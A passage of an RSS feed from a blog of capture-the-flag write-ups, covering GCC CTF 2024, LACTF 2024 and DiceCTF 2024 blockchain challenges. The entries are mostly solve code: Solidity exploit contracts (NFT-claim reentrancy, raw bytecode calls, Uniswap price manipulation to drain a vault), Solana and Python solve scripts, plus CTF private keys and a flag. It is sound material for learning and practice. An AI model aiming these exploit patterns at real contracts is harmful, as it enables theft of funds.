        katanaSale = KatanaSale(challenge.katanaSale());
        katanaSale.becomeBeyond(&quot;I will check out @BeyondBZH and @gcc_ensibs on X&quot;);
        katanaSale.endSale();
        katanaSale.transfer(challenge.PLAYER(), 60);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;gcc_first_drop&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1709521662836&quot; class=&quot;sol&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solve {
    Challenge public challenge;
    BeyondNFT public beyondNFT;
    AboveNFT  public aboveNFT;
    uint public num = 0;
    constructor (address _challenge) payable {
        challenge = Challenge(_challenge);
        beyondNFT = BeyondNFT(challenge.beyond());
        beyondNFT.mint{value: 1 ether}();
        aboveNFT = AboveNFT(challenge.above());
    }

    function execute() public {
        beyondNFT.claimSpecialPrize();
        for(uint i = 1; i &amp;lt; 7; i++) {
            aboveNFT.transferFrom(address(this), challenge.PLAYER(), i);
        }
    }

    function onERC721Received(address to, address to2, uint256 tokenId, bytes calldata data) public returns (bytes4) {
        if (num &amp;lt; 7) {
            num++;
            beyondNFT.claimSpecialPrize();
        }
        return this.onERC721Received.selector;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;ode&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1709521800025&quot; class=&quot;sol&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solve {
    Challenge public challenge = Challenge(0xD3dFB133C651DA0948F1D35464F459CCcd7d42B2);
    address public target = challenge.target(); 
    constructor() payable {}

    function step1() public payable{
        bytes memory data = abi.encode(uint256(uint160(address(this))));
        (bool su, bytes memory g) = address(challenge.target()).call(data);
        require(su == true);
        bytes memory data2 = hex'5f6060565b608060405260258060726000396000f3fe7f0000000000000000576861742061626f7574203078356320262030783562203f60005500';
        (su, g) = address(challenge.target()).call{value: 59}(data2);
        require(su == true);
    }

    function step2() public payable{
        bytes memory data = abi.encode(uint256(uint160(address(this)) + 1));
        (bool su, bytes memory g) = address(challenge.target()).call(data);
        require(su == true);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;tootb&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1709521834749&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -X POST -H &quot;Content-Type: application/json&quot; --data '{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;anvil_setBalance&quot;,&quot;params&quot;:[&quot;0xCaffE305b3Cc9A39028393D3F338f2a70966Cb85&quot;, &quot;20000000000000000000000000000000&quot;],&quot;id&quot;:84}' http://worker03.gcc-ctf.com:11560/rpc&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;gcc_pincer&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1709521885759&quot; class=&quot;sol&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solve {
    IUniswapV2Router02 public immutable uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public immutable MINAMINAO = 0x710ACb69aCa6aD658633A50D5e0CFFA52Dc7Bf07;
    address public immutable PLAYER = 0xCaffE305b3Cc9A39028393D3F338f2a70966Cb85;
    Beyond public beyond;
    Vault public vault;
    Challenge public challenge;

    uint public before_vault_weth;
    uint public before_vault_beyond;
    uint public after_vault_weth;
    uint public after_vault_beyond;

    constructor (address _challenge) payable{
        challenge = Challenge(_challenge);
        beyond = challenge.beyond();
        vault = challenge.vault();

        before_vault_weth = IERC20(WETH).balanceOf(address(vault));
        before_vault_beyond = IERC20(beyond).balanceOf(address(vault));
    }

    function estimateAmountOut(uint256 amountIn, address[] memory path) external view returns(uint256) {
        uint256[] memory amounts = uniswapRouter.getAmountsOut(amountIn, path); //// ?
        return amounts[1] - (amounts[1] * 5 / 1000);
    }

    function step1() public {
        IWETH(WETH).deposit{value : 490 ether}();
        IERC20(WETH).approve(address(uniswapRouter), type(uint256).max);
        IERC20(WETH).approve(address(beyond), type(uint256).max);
        IERC20(beyond).approve(address(uniswapRouter), type(uint256).max);
        IERC20(beyond).approve(address(beyond), type(uint256).max);
        
        beyond.buy(350 ether);



        address[] memory path = new address[](2);
        path[1] = WETH;
        path[0] = address(beyond);
        uniswapRouter.swapExactTokensForTokens(350 ether, this.estimateAmountOut(350 ether, path), path, address(this), block.timestamp);
    }

    function step2() public {
        
        after_vault_weth = IERC20(WETH).balanceOf(address(vault));
        after_vault_beyond = IERC20(beyond).balanceOf(address(vault));

        address[] memory path = new address[](2);
        path[0] = WETH;
        path[1] = address(beyond);
        uniswapRouter.swapExactTokensForTokens(140 ether, this.estimateAmountOut(140 ether, path), path, address(this), block.timestamp);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1709521900666&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from web3 import Web3
import json
import time
w3 = Web3(Web3.HTTPProvider(&quot;http://worker02.gcc-ctf.com:13141/rpc&quot;))
#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = '0x6715d324d14e0565ab02a575fa5f74540719ba065a610cba6497cdbf22cd5cdb'
challenge_addr = &quot;0x8E4Dc4233Fe0c90674924c0f5b94A78F60fe0D29&quot;

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

f = open(&quot;att.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
f = open(&quot;att.bin&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(challenge_addr).build_transaction(
    {
        &quot;chainId&quot;: w3.eth.chain_id,
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;from&quot;: Public_Address,
        &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        &quot;value&quot;: 490 * 10**18 
        # &quot;value&quot;: 0 
    }
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print(&quot;Deploying Contract!&quot;)
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print(&quot;Waiting for transaction to finish...&quot;)
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)

cont_addr = transaction_receipt.contractAddress
contract = w3.eth.contract(address=cont_addr, abi=contract_abi, bytecode=contract_bytecode)
print(contract.functions[&quot;before_vault_weth&quot;]().call()//10**18)
print(contract.functions[&quot;before_vault_beyond&quot;]().call()//10**18)

func_call = contract.functions[&quot;step1&quot;]().build_transaction({
    &quot;from&quot;: myAddr,
    &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
    &quot;gasPrice&quot;: w3.eth.gas_price,
    &quot;chainId&quot;: w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)


time.sleep(120)


func_call = contract.functions[&quot;step2&quot;]().build_transaction({
    &quot;from&quot;: myAddr,
    &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
    &quot;gasPrice&quot;: w3.eth.gas_price,
    &quot;chainId&quot;: w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)

print(contract.functions[&quot;after_vault_weth&quot;]().call()//10**18)
print(contract.functions[&quot;after_vault_beyond&quot;]().call()//10**18)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/183</guid>
      <comments>https://gss1.tistory.com/entry/GCC-CTF-2024-web3#entry183comment</comments>
      <pubDate>Mon, 4 Mar 2024 12:12:12 +0900</pubDate>
    </item>
    <item>
      <title>LACTF 2024 - zerocoin, remi-s world</title>
      <link>https://gss1.tistory.com/entry/LACTF-2024-zerocoin-remi-s-world</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ctftime.org/event/2102&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ctftime.org/event/2102&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;zerocoin&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The challenge requires users to fill their &lt;b&gt;A&lt;/b&gt;ssociated &lt;b&gt;T&lt;/b&gt;oken &lt;b&gt;A&lt;/b&gt;ccount with any token.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We cannot mint Zerocoin with 1_000_000 native tokens.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Therefore, we should send the native token to the user's ATA and then convert it to wrapped SOL.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://spl.solana.com/token#example-wrapping-sol-in-a-token&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://spl.solana.com/token#example-wrapping-sol-in-a-token&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lib.rs&lt;/p&gt;
&lt;pre id=&quot;code_1708279962489&quot; class=&quot;rust&quot; data-ke-language=&quot;rust&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[cfg(not(feature = &quot;no-entrypoint&quot;))]
pub mod entrypoint {
    use anchor_lang::prelude::*;
    use solana_program::{
        account_info::AccountInfo, entrypoint, entrypoint::ProgramResult,
        program::{invoke, invoke_signed},
        program_pack::Pack,
        system_instruction,
    };
    use zerocoin::cpi;

    entrypoint!(process_instruction);

    pub fn process_instruction(
        _program_id: &amp;amp;Pubkey,
        _accounts: &amp;amp;[AccountInfo],
        _instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {
        let user = _accounts[0].clone();
        let vault = _accounts[1].clone();
        let mint = _accounts[2].clone();
        let user_token = _accounts[3].clone();
        let program = _accounts[4].clone();
        let token_program = _accounts[5].clone();
        let system_program = _accounts[6].clone();
        let native_mint = _accounts[7].clone();

        let cpi_accounts = zerocoin::cpi::accounts::Register {
            token: user_token.clone(),
            vault: vault.clone(),
            mint: native_mint.clone(),
            zerocoin: program.clone(),
            token_program: token_program.clone(),
            system_program: system_program.clone(),
        };
        let cpi_ctx = CpiContext::new(program.clone(), cpi_accounts);
        zerocoin::cpi::register(cpi_ctx, *user.key);

        invoke(
            &amp;amp;system_instruction::transfer(
                user.key,
                user_token.key,
                1,
            ),
            &amp;amp;[
                user.to_account_info(),
                user_token.to_account_info(),
            ],
        )?;

        invoke(
            &amp;amp;spl_token::instruction::sync_native(
                token_program.key,
                user_token.key,
            )?,
            &amp;amp;[
                user_token.to_account_info(),
                token_program.to_account_info(),
            ],
        )?;

        Ok(())
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py&lt;/p&gt;
&lt;pre id=&quot;code_1708279952326&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import *

p = remote(&quot;127.0.0.1&quot;, 5000)

addrs = {}
while True:
    name = p.recvuntil(b&quot;: &quot;, drop=True).decode()
    if name == &quot;program pubkey&quot;:
        break
    key = p.recvline(keepends=False).decode()
    addrs[name] = key

addrs['native_mint'] = &quot;So11111111111111111111111111111111111111112&quot;

# can change pubkey to anything else, this is just a randomly generated valid pubkey
p.sendline(b&quot;ExNhUJ35wXCJCD7wtB8BjCpRK5xrD2cLqXXtnsjrWVkE&quot;)

# copy solve.so to cwd or change this path to ./solve/sbf-solana-solana/release/solve.so
with open(&quot;./solve/target/sbf-solana-solana/release/solve.so&quot;, &quot;rb&quot;) as f:
    solve = f.read()

p.sendlineafter(b&quot;program len: \n&quot;, str(len(solve)).encode())
p.send(solve)

# can change accounts, s means signer, r/w means readonly/writable
accounts = &quot;&quot;&quot;
user: sw
vault: -w
mint: -w
user_token: -w
program: -r
token_program: -r
system_program: -r
native_mint: -r
&quot;&quot;&quot;

accounts = [l.split(&quot;: &quot;) for l in accounts.strip().split(&quot;\n&quot;)]
p.sendlineafter(b&quot;num accounts: \n&quot;, str(len(accounts)).encode())
p.sendline(&quot;\n&quot;.join(f&quot;{b} {addrs[a]}&quot; for (a, b) in accounts).encode())

# can add data to the instruction
ix_data = b&quot;filler data&quot;

p.sendlineafter(b&quot;ix len: \n&quot;, str(len(ix_data)).encode())
p.send(ix_data)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;remi's world&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708280031258&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solve {
    Remis public remis;

    constructor(address _setup) {
        Setup setup = Setup(_setup);
        address _remis = address(setup.remis());
        address _target = address(setup.shady());
        remis = Remis(_remis);
        for(uint i = 0; i &amp;lt; 10 ; i++) {
            remis.openAccount();
            remis.sendMoney(10, _target);
        }
    }

    /*
    forge create Solve --private-key 0xda34a7faffb463b2897a39ab73f44190878402f60d99dd40d569161c6c83ed37 --rpc-url https://remis-world.chall.lac.tf/fa5ed621-c7e1-4e9b-8fdd-35154e553001 --constructor-args 0x8C71DE458B582A6Ad988645e56700927eaBD8CCa
    lactf{irr3v3r5ib1e_d4m4g3}
    */
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/182</guid>
      <comments>https://gss1.tistory.com/entry/LACTF-2024-zerocoin-remi-s-world#entry182comment</comments>
      <pubDate>Mon, 19 Feb 2024 07:01:53 +0900</pubDate>
    </item>
    <item>
      <title>DiceCTF 2024 Quals - floordrop(blockchain)</title>
      <link>https://gss1.tistory.com/entry/DiceCTF-2024-Quals-floordropblockchain</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ctftime.org/event/2217&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ctftime.org/event/2217&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I participated in DiceCTF Quals with CyKor and was interest in three challenges.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;floordrop&lt;/li&gt;
&lt;li&gt;what-a-jpeg-is&lt;/li&gt;
&lt;li&gt;dicediceotter&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I tried a PGD-attack on what-a-jpeg-is but failed and didn't have the courage to start dicediceotter.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;analysis&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;pow.sol&lt;/h3&gt;
&lt;pre id=&quot;code_1707049383944&quot; class=&quot;sol cs&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

contract Owned {
    address payable owner;

    constructor() {
        owner = payable(msg.sender);
    }

    // Access control modifier
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
}

contract ProofOfWork is Owned {
    uint256 public currentChallenge;
    uint256 public currentBlock;

    event GotFlag(uint256 indexed nonce);

    function setChallenge(uint256 challenge) public onlyOwner {
        currentChallenge = challenge;
        currentBlock = block.number;
    }

    function expireChallenge() public onlyOwner {
        currentChallenge = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
    }

    function solveChallenge(
        bytes calldata solution,
        uint256 solver_nonce
    ) public {
        if (currentBlock != block.number) {
            revert(&quot;Too late&quot;);
        }
        if (currentChallenge == 0) {
            revert(&quot;Challenge is not yet active&quot;);
        }
        if (
            currentChallenge ==
            0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
        ) {
            revert(&quot;Challenge has expired&quot;);
        }
        uint256 _currentChallenge = currentChallenge;
        assembly {
            // Free memory pointer
            let pointer := mload(0x40)
            let base_len := solution.length
            mstore(pointer, base_len)
            mstore(add(pointer, 0x20), 1)
            mstore(add(pointer, 0x40), 5568)
            calldatacopy(add(pointer, 0x60), solution.offset, base_len)
            mstore8(add(add(pointer, 0x60), base_len), 2)
            let exp_start := add(add(add(pointer, 0x60), base_len), 1)
            for {
                let i := 32
            } lt(i, 5568) {
                i := add(i, 32)
            } {
                mstore(
                    add(exp_start, i),
                    0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
                )
            }
            mstore(
                exp_start,
                0x1ffffffffffffffffffffffffffffffffffffffffffffffffffff
            )

            let ret := staticcall(
                gas(),
                0x05,
                pointer,
                sub(add(exp_start, 5568), pointer),
                exp_start,
                5568
            )
            if iszero(ret) {
                mstore(0, 0x1)
                revert(0, 32)
            }
            let result := mload(add(exp_start, 5536))
            let success := 0
            if eq(result, _currentChallenge) {
                for {
                    let i := 0
                } lt(i, 5536) {
                    i := add(i, 32)
                } {
                    let check := mload(add(exp_start, i))
                    if gt(check, 0) {
                        mstore(0, 0x2)
                        revert(0, 32)
                    }
                }
                success := 1
            }
            if eq(not(result), _currentChallenge) {
                for {
                    let i := 32
                } lt(i, 5536) {
                    i := add(i, 32)
                } {
                    let check := mload(add(exp_start, i))
                    if gt(add(check, 1), 0) {
                        mstore(0, 0x3)
                        revert(0, 32)
                    }
                }
                {
                    let check := mload(exp_start)
                    if iszero(
                        eq(
                            check,
                            0x1ffffffffffffffffffffffffffffffffffffffffffffffffffff
                        )
                    ) {
                        mstore(0, 0x4)
                        revert(0, 32)
                    }
                }
                success := 1
            }
            if iszero(success) {
                mstore(0, 0x5)
                revert(0, 32)
            }
        }
        emit GotFlag(solver_nonce);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The 0x5 is a precompiled contract supporting BigModExp operation.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/ethereum/go-ethereum/blob/master/core/vm/contracts.go#L61&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/ethereum/go-ethereum/blob/master/core/vm/contracts.go#L61&lt;/a&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://app.dedaub.com/decompile?md5=e20d9587c62f0676598157609010dc69&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://app.dedaub.com/decompile?md5=e20d9587c62f0676598157609010dc69&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;525&quot; data-origin-height=&quot;106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF8QSA/btsEoKKsYW6/7qD21S5gxcGb4GayjU9BF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF8QSA/btsEoKKsYW6/7qD21S5gxcGb4GayjU9BF1/img.png&quot; data-alt=&quot;decompiled&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF8QSA/btsEoKKsYW6/7qD21S5gxcGb4GayjU9BF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF8QSA%2FbtsEoKKsYW6%2F7qD21S5gxcGb4GayjU9BF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;525&quot; height=&quot;106&quot; data-origin-width=&quot;525&quot; data-origin-height=&quot;106&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;decompiled&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;calldata&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2731&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJBbdU/btsEkvnSzSy/6k6z5DNGu5eQfl4vi51YN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJBbdU/btsEkvnSzSy/6k6z5DNGu5eQfl4vi51YN1/img.png&quot; data-alt=&quot;memory layout&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJBbdU/btsEkvnSzSy/6k6z5DNGu5eQfl4vi51YN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJBbdU%2FbtsEkvnSzSy%2F6k6z5DNGu5eQfl4vi51YN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2731&quot; height=&quot;668&quot; data-origin-width=&quot;2731&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;memory layout&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;return&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wokj6/btsEkBhdhLH/gpF4tnEPCvxvCuVn8aBd50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wokj6/btsEkBhdhLH/gpF4tnEPCvxvCuVn8aBd50/img.png&quot; data-alt=&quot;memory layout&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wokj6/btsEkBhdhLH/gpF4tnEPCvxvCuVn8aBd50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwokj6%2FbtsEkBhdhLH%2FgpF4tnEPCvxvCuVn8aBd50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;312&quot; height=&quot;209&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;584&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;memory layout&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(left-zero-pad)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Consequently,. the solveChallenge() requires a caller to satisfy one of two equations.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. solution^2 mod p == current_challenge&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. solution^2 mod p == p - current_challenge&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;solve.py&lt;/h3&gt;
&lt;pre id=&quot;code_1707050373186&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import sys
import gmpy2

MODULUS = 2**44497-1

def sloth_root(x, p):
    exponent = (p + 1) // 4
    x = gmpy2.powmod(x, exponent, p)
    return int(x)

def solve_challenge(x):
    y = sloth_root(x, MODULUS)
    return y

def main():
    chal = int(sys.argv[1])
    sol = solve_challenge(chal)
    print(sol.to_bytes((sol.bit_length() + 7) // 8, 'big').hex())

if __name__ == '__main__':
    main()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MODULUS is a prime such that p = 3 mod 4&lt;/p&gt;
